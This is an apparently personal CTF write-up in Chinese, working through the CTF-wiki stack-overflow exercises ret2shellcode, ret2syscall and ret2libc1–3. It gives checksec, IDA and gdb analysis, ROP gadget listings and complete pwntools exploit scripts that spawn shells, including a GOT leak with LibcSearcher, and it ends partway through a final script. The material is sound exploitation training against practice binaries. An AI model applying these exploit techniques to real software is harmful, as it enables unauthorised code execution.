categories:
- ctf
ret2shellcode
[root@ningan ret2shellcode]# ./ret2shellcode
No system for you this time !!!
123
bye bye ~[root@ningan ret2shellcode]#
checksec检查
[root@ningan ret2shellcode]# checksec ret2shellcode
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/root/ctf/ctfwiki/ret2shellcode/ret2shellcode'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
32位程序
NX disabled = 可以将shellcode放在数据段,即可执行
ida分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets(s);
strncpy(buf2, s, 0x64u);
printf("bye bye ~");
return 0;
}
栈溢出漏洞,还同时将对应的字符串复制到 buf2 处
查看buf2,发现在bss段
.bss:0804A065 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+align 20h
.bss:0804A080 public buf2
.bss:0804A080 ; char buf2[100]
.bss:0804A080 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+buf2 db 64h dup(?) ; DATA XREF: main+7B↑o
.bss:0804A080 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+_bss ends
.bss:0804A080 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+
gdb分析
pwndbg> b main
...
pwndbg> r
...
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x8048000 0x8049000 r-xp 1000 0 /root/ctfwiki/ret2shellcode/ret2shellcode
0x8049000 0x804a000 r--p 1000 0 /root/ctfwiki/ret2shellcode/ret2shellcode
0x804a000 0x804b000 rw-p 1000 1000 /root/ctfwiki/ret2shellcode/ret2shellcode
0xf7c00000 0xf7c22000 r--p 22000 0 /usr/lib/i386-linux-gnu/libc.so.6
0xf7c22000 0xf7d9b000 r-xp 179000 22000 /usr/lib/i386-linux-gnu/libc.so.6
0xf7d9b000 0xf7e1c000 r--p 81000 19b000 /usr/lib/i386-linux-gnu/libc.so.6
0xf7e1c000 0xf7e1e000 r--p 2000 21b000 /usr/lib/i386-linux-gnu/libc.so.6
0xf7e1e000 0xf7e1f000 rw-p 1000 21d000 /usr/lib/i386-linux-gnu/libc.so.6
0xf7e1f000 0xf7e29000 rw-p a000 0 [anon_f7e1f]
0xf7fc2000 0xf7fc4000 rw-p 2000 0 [anon_f7fc2]
0xf7fc4000 0xf7fc8000 r--p 4000 0 [vvar]
0xf7fc8000 0xf7fca000 r-xp 2000 0 [vdso]
0xf7fca000 0xf7fcb000 r--p 1000 0 /usr/lib/i386-linux-gnu/ld-linux.so.2
0xf7fcb000 0xf7fed000 r-xp 22000 1000 /usr/lib/i386-linux-gnu/ld-linux.so.2
0xf7fed000 0xf7ffb000 r--p e000 23000 /usr/lib/i386-linux-gnu/ld-linux.so.2
0xf7ffb000 0xf7ffd000 r--p 2000 30000 /usr/lib/i386-linux-gnu/ld-linux.so.2
0xf7ffd000 0xf7ffe000 rw-p 1000 32000 /usr/lib/i386-linux-gnu/ld-linux.so.2
0xfffdd000 0xffffe000 rwxp 21000 0 [stack]
答案中说,这个地方可以看出来bss段有可执行权限,怎么看出来的呢????
20230830更新 开始
同组的小伙伴拿着exp执行不了结果,我就又回顾了以下这道题。我之所以能够执行,是因为我pwndbg是在kali的虚拟机中执行的,exp是在我ubuntu的虚拟机执行的,所以可以正常执行;当放到kali的系统中执行exp的时候,就执行不了了…
20230830更新 结束
# gdb ret2shellcode
pwndbg> b main
...
pwndbg> run
...
pwndbg> n
pwndbg> n
pwndbg> n
...
AAAAAAAA
pwndbg> stack 40
pwndbg> distance 源地址 目的地址
pwndbg> p/d 0x6c
查找偏移地址为108
解题思路
默认栈帧
+-----------------+
| retaddr |
+-----------------+
| saved ebp |
ebp--->+-----------------+
| |
| |
| |
| |
| |
| |
buf--->+-----------------+
修改后栈帧
+-----------------+
| (retaddr) |
| buf2_addr |
+-----------------+
| (saved ebp) |
| BBBB |
ebp--->+-----------------+
| |
| |
|shellcode...AAAA |
| |
| |
| |
s--->+-----------------+
+-----------------+
| |
| |
|shellcode...AAAA |
| |
| |
| |
buf2--->+-----------------+ bss段
exp
#!/usr/bin/env python
from pwn import *
sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080
sh.sendline(shellcode.ljust(108+4, b'A') + p32(buf2_addr))
sh.interactive()
"""
[root@ningan ret2shellcode]# python exp.py
[+] Starting local process './ret2shellcode': pid 8742
[*] Switching to interactive mode
No system for you this time !!!
bye bye ~$ ls
exp.py ret2shellcode
$
"""
ret2syscall
检查
[root@ningan ret2syscall]# checksec rop
[*] '/root/ctf/ctfwiki/ret2syscall/rop'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[root@ningan ret2syscall]# file rop
rop: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=2bff0285c2706a147e7b150493950de98f182b78, with debug_info, not stripped
ida分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+1Ch] [ebp-64h] BYREF
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("This time, no system() and NO SHELLCODE!!!");
puts("What do you plan to do?");
gets(&v4);
return 0;
}
可以看到这块有这么多函数,因为是静态链接进来的
gdb分析
# gdb rop
pwndbg> b main
...
pwndbg> run
...
pwndbg> n
pwndbg> n
pwndbg> n
...
AAAAAAAA
pwndbg> stack 40
pwndbg> distance 0xffffd2fc 0xffffd368
0xffffd2fc->0xffffd368 is 0x6c bytes (0x1b words)
pwndbg> p/d 0x6c
ROPgadget分析
[root@ningan ret2syscall]# ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
[root@ningan ret2syscall]#
[root@ningan ret2syscall]# ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'
0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080be23f : pop ebx ; pop edi ; ret
0x0806eb69 : pop ebx ; pop edx ; ret
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x08048547 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
0x0805c820 : pop esi ; pop ebx ; ret
0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0807b6ed : pop ss ; pop ebx ; ret
[root@ningan ret2syscall]#
[root@ningan ret2syscall]#
[root@ningan ret2syscall]#
[root@ningan ret2syscall]# ROPgadget --binary rop --string '/bin/sh'
Strings information
============================================================
0x080be408 : /bin/sh
[root@ningan ret2syscall]#
[root@ningan ret2syscall]#
[root@ningan ret2syscall]# ROPgadget --binary rop --only 'int'
Gadgets information
============================================================
0x08049421 : int 0x80
Unique gadgets found: 1
解题思路
此次,由于我们不能直接利用程序中的某一段代码或者自己填写代码来获得 shell,所以我们利用程序中的 gadgets 来获得 shell,而对应的 shell 获取则是利用系统调用。
简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell
execve("/bin/sh",NULL,NULL)
其中,该程序是 32 位,所以我们需要使得
- 系统调用号,即 eax 应该为 0xb
- 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
- 第二个参数,即 ecx 应该为 0
- 第三个参数,即 edx 应该为 0
默认栈帧
+-----------------+
| retaddr |
+-----------------+
| saved ebp |
ebp--->+-----------------+
| |
| |
| |
| |
| |
| |
v4--->+-----------------+
修改后栈帧
+-----------------+
| 0x80_addr |
+-----------------+
| /bin/sh_addr |
+-----------------+
| 0 |
+-----------------+
| 0 |
+-----------------+
|pop_edx_ecx_ebx_ret_addr |
+-----------------+
| 0xb |
+-----------------+
| (retaddr) |
|pop_eax_ret_addr |
+-----------------+
| (saved ebp) |
| BBBBB |
ebp--->+-----------------+
| |
| |
| AAA...AAAA |
| 108位 |
| |
| |
v4--->+-----------------+
exp
#!/usr/bin/env python
from pwn import *
sh = process('./rop')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
sh.sendline(payload)
sh.interactive()
"""
[root@ningan ret2syscall]# python exp.py
[+] Starting local process './rop': pid 24853
[*] Switching to interactive mode
This time, no system() and NO SHELLCODE!!!
What do you plan to do?
$ ls
exp.py rop
$
"""
参考
ret2libc1
检查
[root@ningan ret2libc1]# file ret2libc1
ret2libc1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=fb89c86b266de4ff294489da59959a62f7aa1e61, with debug_info, not stripped
[root@ningan ret2libc1]#
[root@ningan ret2libc1]# checksec ret2libc1
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/root/ctf/ctfwiki/ret2libc1/ret2libc1'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
ida分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("RET2LIBC >_<");
gets(s);
return 0;
}
查找system函数的地址
.plt:08048460 ; int system(const char *command)
查找/bin/sh字符串的地址
.rodata:08048720 00000008 C /bin/sh
解题思路
这个例子相对来说简单,同时提供了 system 地址与 /bin/sh 的地址
如果是正常调用 system 函数,我们调用的时候会有一个对应的返回地址,这里以’4位垃圾数据’ 作为虚假的地址,其后参数对应的参数内容。
默认栈帧
+-----------------+
| retaddr |
+-----------------+
| saved ebp |
ebp--->+-----------------+
| |
| |
| |
| |
| |
| |
v4--->+-----------------+
修改后栈帧
+-----------------+
| binsh_addr |
+-----------------+
| 4位垃圾数据 |
+-----------------+
| (retaddr) |
| system_plt_addr |
+-----------------+
| (saved ebp) |
| BBBBB |
ebp--->+-----------------+
| |
| |
| AAA...AAAA |
| 108位 |
| |
| |
v4--->+-----------------+
exp
#!/usr/bin/env python
from pwn import *
sh = process('./ret2libc1')
binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat(['A' * 108, 'B' * 4, system_plt, 'b' * 4, binsh_addr])
sh.sendline(payload)
sh.interactive()
"""
[root@ningan ret2libc1]# python exp.py
[+] Starting local process './ret2libc1': pid 738
[*] Switching to interactive mode
RET2LIBC >_<
$ ls
exp.py ret2libc1
"""
ret2libc2
检查
[root@ningan ret2libc2]# file ret2libc2
ret2libc2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=83535a471d9ef90c3d5ff7f077944fb6021787a1, with debug_info, not stripped
[root@ningan ret2libc2]#
[root@ningan ret2libc2]# checksec ret2libc2
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/root/ctf/ctfwiki/ret2libc2/ret2libc2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
ida分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("Something surprise here, but I don't think it will work.");
printf("What do you think ?");
gets(s);
return 0;
}
可以看到,有system的plt函数,如上图;但是没有/bin/sh字符串,如下图
ROPgadget分析
这个工具也看到没有/bin/sh字符串
查看bss是否可以写入
ida分析
bss段的大概位置为:0804A040->0804A040,并且0x0804A040处有一个可以写入的地方(buf2变量)
get函数的地址为:0x08048460
gdb分析
gdb ret2libc2
b main
r
vmmap
可以看到,bss段是可写的
ROPgadget分析
[root@ningan ret2libc2]# ROPgadget --binary ret2libc2 --only 'pop|ret' | grep 'eax'
[root@ningan ret2libc2]#
[root@ningan ret2libc2]#
[root@ningan ret2libc2]# ROPgadget --binary ret2libc2 --only 'pop|ret' | grep 'ebx'
0x0804872c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804843d : pop ebx ; ret
[root@ningan ret2libc2]# ROPgadget --binary ret2libc2 --only 'pop|ret' | grep 'ecx'
[root@ningan ret2libc2]# ROPgadget --binary ret2libc2 --only 'pop|ret' | grep 'edx'
拿到pop_ebx_ret的地址为:0x0804843d
!!!重点思路!!!
代码中直接有system的plt地址,但是没有/bin/sh字符串
这里就可以调用get函数来让我们输入/bin/sh 然后在让system返回到我们输入的地方
哪里可以输入呢?查找bss段是否有可以输入的地方
发现bss段有一个buf变量,而且bss段是可写的
调用get函数写一个/bin/sh进去,把这个写进去的字符串当成system的函数来执行即可~
exp
from pwn import *
p=process('./ret2libc2')
get_add=0x08048460
sys_add=0x08048490
buf2_add=0x0804A080
payload=flat([b'A'*112,get_add,sys_add,buf2_add,buf2_add])
p.sendline(payload)
p.sendline('/bin/sh')
p.interactive()
exp2
##!/usr/bin/env python
from pwn import *
sh = process('./ret2libc2')
gets_plt = 0x08048460
system_plt = 0x08048490
pop_ebx = 0x0804843d
buf2 = 0x804a080
payload = flat(
['a' * 112, gets_plt, pop_ebx, buf2, system_plt, 0xdeadbeef, buf2])
sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()
参考
# CTFWIKI-PWN-ret2libc 讲的非常详细
ret2libc3
checksec
[root@ningan ret2libc3]# file ret2libc3
ret2libc3: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=c0ad441ebd58b907740c1919460c37bb99bb65df, with debug_info, not stripped
[root@ningan ret2libc3]#
[root@ningan ret2libc3]# checksec ret2libc3
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/root/ctf/ctfwiki/ret2libc3/ret2libc3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[root@ningan ret2libc3]# ./ret2libc3
No surprise anymore, system disappeard QQ.
Can you find it !?1234
圈住的为自己输入的内容
找漏洞函数
进入到ida中,查看main函数,发现gets函数有溢出
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No surprise anymore, system disappeard QQ.");
printf("Can you find it !?");
gets(s);
return 0;
}
找system函数-没找见
上图可以看到,没有system函数
进到pwndbg中,也可以看到没有system函数
(此处可以以puts函数为对比,看到上图ida中puts函数的地址为0x08048460,看到下图pwndbg中puts函数的地址也为0x08048460)
pwndbg> iinfo function puts
pwndbg> iinfo function system
找/bin/sh字符串-没找见
ida中找:
ida操作:shift+F12 找到字符串
也没有/bin/sh字符串
ROPgadget操作:
┌──(root㉿kali)-[~/ctfwiki/ret2libc3]
└─# ROPgadget --binary ret2libc3 --string '/bin/sh'
Strings information
============================================================
┌──(root㉿kali)-[~/ctfwiki/ret2libc3]
└─# ROPgadget --binary ret2libc3 --string 'sh'
Strings information
============================================================
0x08048736 : sh
上面看到,没有/bin/sh,有一个sh。
那这个sh能否利用呢?
看到sh的地址为:0x0x08048736,到ida中分析查看,找到了这个sh指的是no_shell-QQ中的sh,所以是不能利用的
.rodata:08048733 ; const char s[]
.rodata:08048733 6E 6F 5F 73 68 65 6C 6C 5F 51+s db 'no_shell_QQ',0 ; DATA XREF: secure+3D↑o
.rodata:0804873F 00 align 10h
解题思路
通过泄露libc的地址,来计算system的地址和/bin/sh的地址
如何得到 libc 中的某个函数的地址呢?我们一般常用的方法是采用 got 表泄露,即输出某个函数对应的 got 表项的内容。**当然,由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。**已经执行过的话就会在got表生存下来,有了真实的地址!
(解法1) 可以泄露puts函数,puts函数已经执行过了。基本利用思路如下:
- 泄露puts函数地址
- 获取 libc 版本
- 获取 system 地址与 /bin/sh 的地址
- 再次执行源程序
- 触发栈溢出执行 system(‘/bin/sh’)
exp:泄露puts函数的真实地址
# 导入 pwntools 库,这是一个用于二进制漏洞利用的强大工具库。
from pwn import *
# 导入 LibcSearcher,这是一个用于从函数地址中搜索libc版本和提取libc函数地址的工具。
from LibcSearcher import *
# 创建一个新的进程,执行名为 ret2libc3 的可执行文件。这将用于在本地系统上执行漏洞利用。
io = process("./ret2libc3")
# 将 ret2libc3 可执行文件加载到 elf 对象中,以便从中获取有关程序结构的信息,例如函数地址和GOT地址。
elf = ELF("./ret2libc3")
print("=== 通过泄露 puts 函数的地址 ===")
# 获取 puts 函数的 PLT(Procedure Linkage Table)地址和 GOT(Global Offset Table)地址。
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
# 获取程序的 _start 符号的地址,这通常是程序的入口点。
start_addr=elf.symbols['_start']
print("puts_plt: ", puts_plt)
print("hex(puts_plt): ", hex(puts_plt))
print("puts_got: ", puts_got)
print("hex(puts_got): ", hex(puts_got))
print("start_addr: ", start_addr)
print("hex(start_addr): ", hex(start_addr))
# 构建一个 payload,其中包括 112 个字节的填充(用于填充到返回地址之前),然后是 puts 函数的 PLT 地址、程序入口点地址和 puts 函数的 GOT 地址。这将在程序中触发漏洞。
payload1 = flat([b'A'*112,puts_plt,start_addr,puts_got])
# payload1 = b'A'*108 + b'BBBB' + puts_plt + start + puts_got # 报错:TypeError: can't concat int to bytes
# payload1 = b'A'*108 + b'BBBB' + p32(puts_plt) + p32(start) + p32(puts_got) # 正确写法
print("payload1: ", payload1)
# 发送构建好的 payload1 到程序。
io.sendlineafter('!?',payload1)
# 接收从程序中泄露的 puts 函数的地址,并将其转换为整数。这将帮助确定libc的基址。
# io.recv(4)接受程序返回的二进制 大小为4字节 u32()为保存为无符号的32位
puts_addr_raw = io.recv(4)
puts_addr = u32(puts_addr_raw)
print("puts_addr_raw: ", puts_addr_raw)
print("puts_addr: ", puts_addr)
print("hex(puts_addr): ", hex(puts_addr))
print("=== 计算libc的基址,然后获取 system 函数地址和 /bin/sh 字符串地址 ===")
# 使用 LibcSearcher 工具,根据泄露的 puts 函数地址来搜索libc库并提取相关信息。
libc = LibcSearcher('puts',puts_addr)
# 计算libc的基址,这是通过从 puts 函数地址中减去 puts 在libc中的偏移得到的。
base = puts_addr-libc.dump('puts')
# 计算 system 函数和 /bin/sh 字符串的地址,这将用于后续的漏洞利用。
system_addr = base+libc.dump('system')
bin_addr=base+libc.dump('str_bin_sh')
# 构建第二个 payload,其中包括 112 个字节的填充,然后是计算得到的 system 函数地址、随意的返回地址(1234),以及计算得到的 /bin/sh 字符串地址。
print("hex(base): ", hex(base))
print("hex(system_addr): ", hex(system_addr))
print("hex(bin_addr): ", hex(bin_addr))
payload2 = flat([b'A'*112,system_addr,1234,bin_addr])
# 使用p32函数将整数转换为对应的4字节二进制字符串
# payload2 = b'A'*108 + b'BBBB' + p32(system_addr) + b'0xdeadbeaf' + p32(sh_addr) # 错误写法
# payload2 = b'A'*108 + b'BBBB' + p32(system_addr) + p32(0xdeadbeaf) + p32(sh_addr) # 正确写法
# payload2 = b'A'*108 + b'BBBB' + p32(system_addr) + b'\x0f\x0b\x0f\x0b' + p32(sh_addr) # 正确写法
# payload2 = b'A'*108 + b'BBBB' + p32(system_addr) + b'1234' + p32(sh_addr) # 正确写法
print("payload2: ", payload2)
# 发送构建好的 payload2 到程序,触发第二阶段的漏洞利用,旨在获取系统 Shell。
io.sendlineafter('!?',payload2)
# 与程序进行交互,获取系统 Shell,进入交互式命令模式。
io.interactive()
"""
┌──(root㉿kali)-[~/ctfwiki/ret2libc3]
└─# python exp.py
[+] Starting local process './ret2libc3': pid 18449
[*] '/root/ctfwiki/ret2libc3/ret2libc3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
=== 通过泄露 puts 函数的地址 ===
puts_plt: 134513760
hex(puts_plt): 0x8048460
puts_got: 134520856
hex(puts_got): 0x804a018
start_addr: 134513872
hex(start_addr): 0x80484d0
payload1: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`\x84\x04\x08\xd0\x84\x04\x08\x18\xa0\x04\x08'
/usr/local/lib/python3.11/dist-packages/pwnlib/tubes/tube.py:840: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
puts_addr_raw: b' 2\xc7\xf7'
puts_addr: 4157026848
hex(puts_addr): 0xf7c73220
=== 计算libc的基址,然后获取 system 函数地址和 /bin/sh 字符串地址 ===
[+] There are multiple libc that meet current constraints :
0 - libc6_2.37-5_i386
1 - libc6_2.32-0experimental0_amd64
2 - libc6_2.37-6_i386
3 - libc6-amd64_2.32-0experimental0_i386
4 - libc6-amd64_2.8~20080505-0ubuntu9_i386
5 - libc6_2.32-0experimental1_amd64
6 - libc6-amd64_2.32-0experimental1_i386
7 - libc6_2.8~20080505-0ubuntu9_amd64
8 - libc6_2.37-7_i386
[+] Choose one : 0
hex(base): 0xf7c00000
hex(system_addr): 0xf7c4c8a0
hex(bin_addr): 0xf7db5fc8
payload2: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xa0\xc8\xc4\xf7\xd2\x04\x00\x00\xc8_\xdb\xf7'
[*] Switching to interactive mode
$ ls
core exp2.py exp-clean.py exp.py ret2libc3
$
"""
libc-database
从上面的运行结果中可以看到,puts函数的真实地址为:0xf7c73220
末尾220为12位,输入工具中进行查找,可以看到右边的第一个就是我们上面输入的0所对应的libc6_2.37-5_i386
exp-clean exp 删掉了注释
from pwn import *
from LibcSearcher import *
io = process("./ret2libc3")
elf = ELF("./ret2libc3")
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
start = elf.symbols['_start']
# payload = b'A'*108 + b'BBBB' + puts_plt + start + puts_got # 报错:TypeError: can't concat int to bytes
payload = b'A'*108 + b'BBBB' + p32(puts_plt) + p32(start) + p32(puts_got) # 正确写法
io.sendlineafter("Can you find it !?", payload)
puts_addr_raw = io.recv(4)
puts_addr = u32(puts_addr_raw)
libc = LibcSearcher("puts", puts_addr)
base = puts_addr - libc.dump("puts")
system_addr = base + libc.dump("system")
sh_addr = base + libc.dump("str_bin_sh")
# payload2 = b'A'*108 + b'BBBB' + p32(system_addr) + b'0xdeadbeaf' + p32(sh_addr) # 错误写法
# payload2 = b'A'*108 + b'BBBB' + p32(system_addr) + p32(0xdeadbeaf) + p32(sh_addr) # 正确写法
# payload2 = b'A'*108 + b'BBBB' + p32(system_addr) + b'\x0f\x0b\x0f\x0b' + p32(sh_addr) # 正确写法
payload2 = b'A'*108 + b'BBBB' + p32(system_addr) + b'1234' + p32(sh_addr) # 正确写法
io.sendlineafter("Can you find it !?", payload2)
io.interactive()
"""
┌──(root㉿kali)-[~/ctfwiki/ret2libc3]
└─# python exp-clean.py
[+] Starting local process './ret2libc3': pid 18209
[*] '/root/ctfwiki/ret2libc3/ret2libc3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
/usr/local/lib/python3.11/dist-packages/pwnlib/tubes/tube.py:840: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
[+] There are multiple libc that meet current constraints :
0 - libc6_2.37-5_i386
1 - libc6_2.32-0experimental0_amd64
2 - libc6_2.37-6_i386
3 - libc6-amd64_2.32-0experimental0_i386
4 - libc6-amd64_2.8~20080505-0ubuntu9_i386
5 - libc6_2.32-0experimental1_amd64
6 - libc6-amd64_2.32-0experimental1_i386
7 - libc6_2.8~20080505-0ubuntu9_amd64
8 - libc6_2.37-7_i386
[+] Choose one : 0
[*] Switching to interactive mode
$ ls
core exp2.py exp-clean.py exp.py ret2libc3
$
[*] Interrupted
[*] Stopped process './ret2libc3' (pid 18209)
┌──(root㉿kali)-[~/ctfwiki/ret2libc3]
└─#
┌──(root㉿kali)-[~/ctfwiki/ret2libc3]
└─#
"""
exp2:泄露setvbuf函数的真实地址
# 导入 pwntools 库,这是一个用于二进制漏洞利用的强大工具库。
from pwn import *
# 导入 LibcSearcher,这是一个用于从函数地址中搜索libc版本和提取libc函数地址的工具。
from LibcSearcher import *
# 创建一个新的进程,执行名为 ret2libc3 的可执行文件。这将用于在本地系统上执行漏洞利用。
io = process("./ret2libc3")
# 将 ret2libc3 可执行文件加载到 elf 对象中,以便从中获取有关程序结构的信息,例如函数地址和GOT地址。
elf = ELF("./ret2libc3")
print("=== 通过泄露 setvbuf 函数的地址 ===")
# 获取 puts 函数的 PLT(Procedure Linkage Table)地址和 GOT(Global Offset Table)地址。
puts_plt = elf.plt["puts"]
setvbuf_got = elf.got["setvbuf"]
# 获取程序的 _start 符号的地址,这通常是程序的入口点。
start_addr=elf.symbols['_start']
print("puts_plt: ", puts_plt)
print("hex(puts_plt): ", hex(puts_plt))
print("setvbuf_got: ", setvbuf_got)
print("hex(setvbuf_got): ", hex(setvbuf_got))
print("start_addr: ", start_addr)
print("hex(start_addr): ", hex(start_addr))
# 构建一个 payload,其中包括 112 个字节的填充(用于填充到返回地址之前),然后是 puts 函数的 PLT 地址、程序入口点地址和 setvbuf 函数的 GOT 地址。这将在程序中触发漏洞。
payload1 = flat([b'A'*112,puts_plt,start_addr,setvbuf_got])
# payload1 = b'A'*108 + b'BBBB' + puts_plt + start + setvbuf_got # 报错:TypeError: can't concat int to bytes
# payload1 = b'A'*108 + b'BBBB' + p32(puts_plt) + p32(start) + p32(setvbuf_got) # 正确写法
print("payload1: ", payload1)
# 发送构建好的 payload1 到程序。
io.sendlineafter('!?',payload1)
# 接收从程序中泄露的 puts 函数的地址,并将其转换为整数。这将帮助确定libc的基址。
# io.recv(4)接受程序返回的二进制 大小为4字节 u32()为保存为无符号的32位
setvbuf_addr_raw = io.recv(4)
setvbuf_addr = u32(setvbuf_addr_raw)
print("setvbuf_addr_raw: ", setvbuf_addr_raw)
print("setvbuf_addr: ", setvbuf_addr)
print("hex(setvbuf_addr): ", hex(setvbuf_addr))
print("=== 计算libc的基址,然后获取 system 函数地址和 /bin/sh 字符串地址 ===")
# 使用 LibcSearcher 工具,根据泄露的 puts 函数地址来搜索libc库并提取相关信息。
libc = LibcSearcher('setvbuf',setvbuf_addr)
# 计算libc的基址,这是通过从 puts 函数地址中减去 puts 在libc中的偏移得到的。
base = setvbuf_addr-libc.dump('setvbuf')
# 计算 system 函数和 /bin/sh 字符串的地址,这将用于后续的漏洞利用。
system_addr = base+libc.dump('system')
bin_addr=base+libc.dump('str_bin_sh')
# 构建第二个 payload,其中包括 112 个字节的填充,然后是计算得到的 system 函数地址、随意的返回地址(1234),以及计算得到的 /bin/sh 字符串地址。
print("hex(base): ", hex(base))
print("hex(system_addr): ", hex(system_addr))
print("hex(bin_addr): ", hex(bin_addr))
payload2 = flat([b'A'*112,system_addr,1234,bin_addr])
# 使用p32函数将整数转换为对应的4字节二进制字符串
# payload2 = b'A'*108 + b'BBBB' + p32(system_addr) + b'0xdeadbeaf' + p32(sh_addr) # 错误写法
# payload2 = b'A'*108 + b'BBBB' + p32(system_addr) + p32(0xdeadbeaf) + p32(sh_addr) # 正确写法
# payload2 = b'A'*108 + b'BBBB' + p32(system_addr) + b'\x0f\x0b\x0f\x0b' + p32(sh_addr) # 正确写法
# payload2 = b'A'*108 + b'BBBB' + p32(system_addr) + b'1234' + p32(sh_addr) # 正确写法
print("payload2: ", payload2)
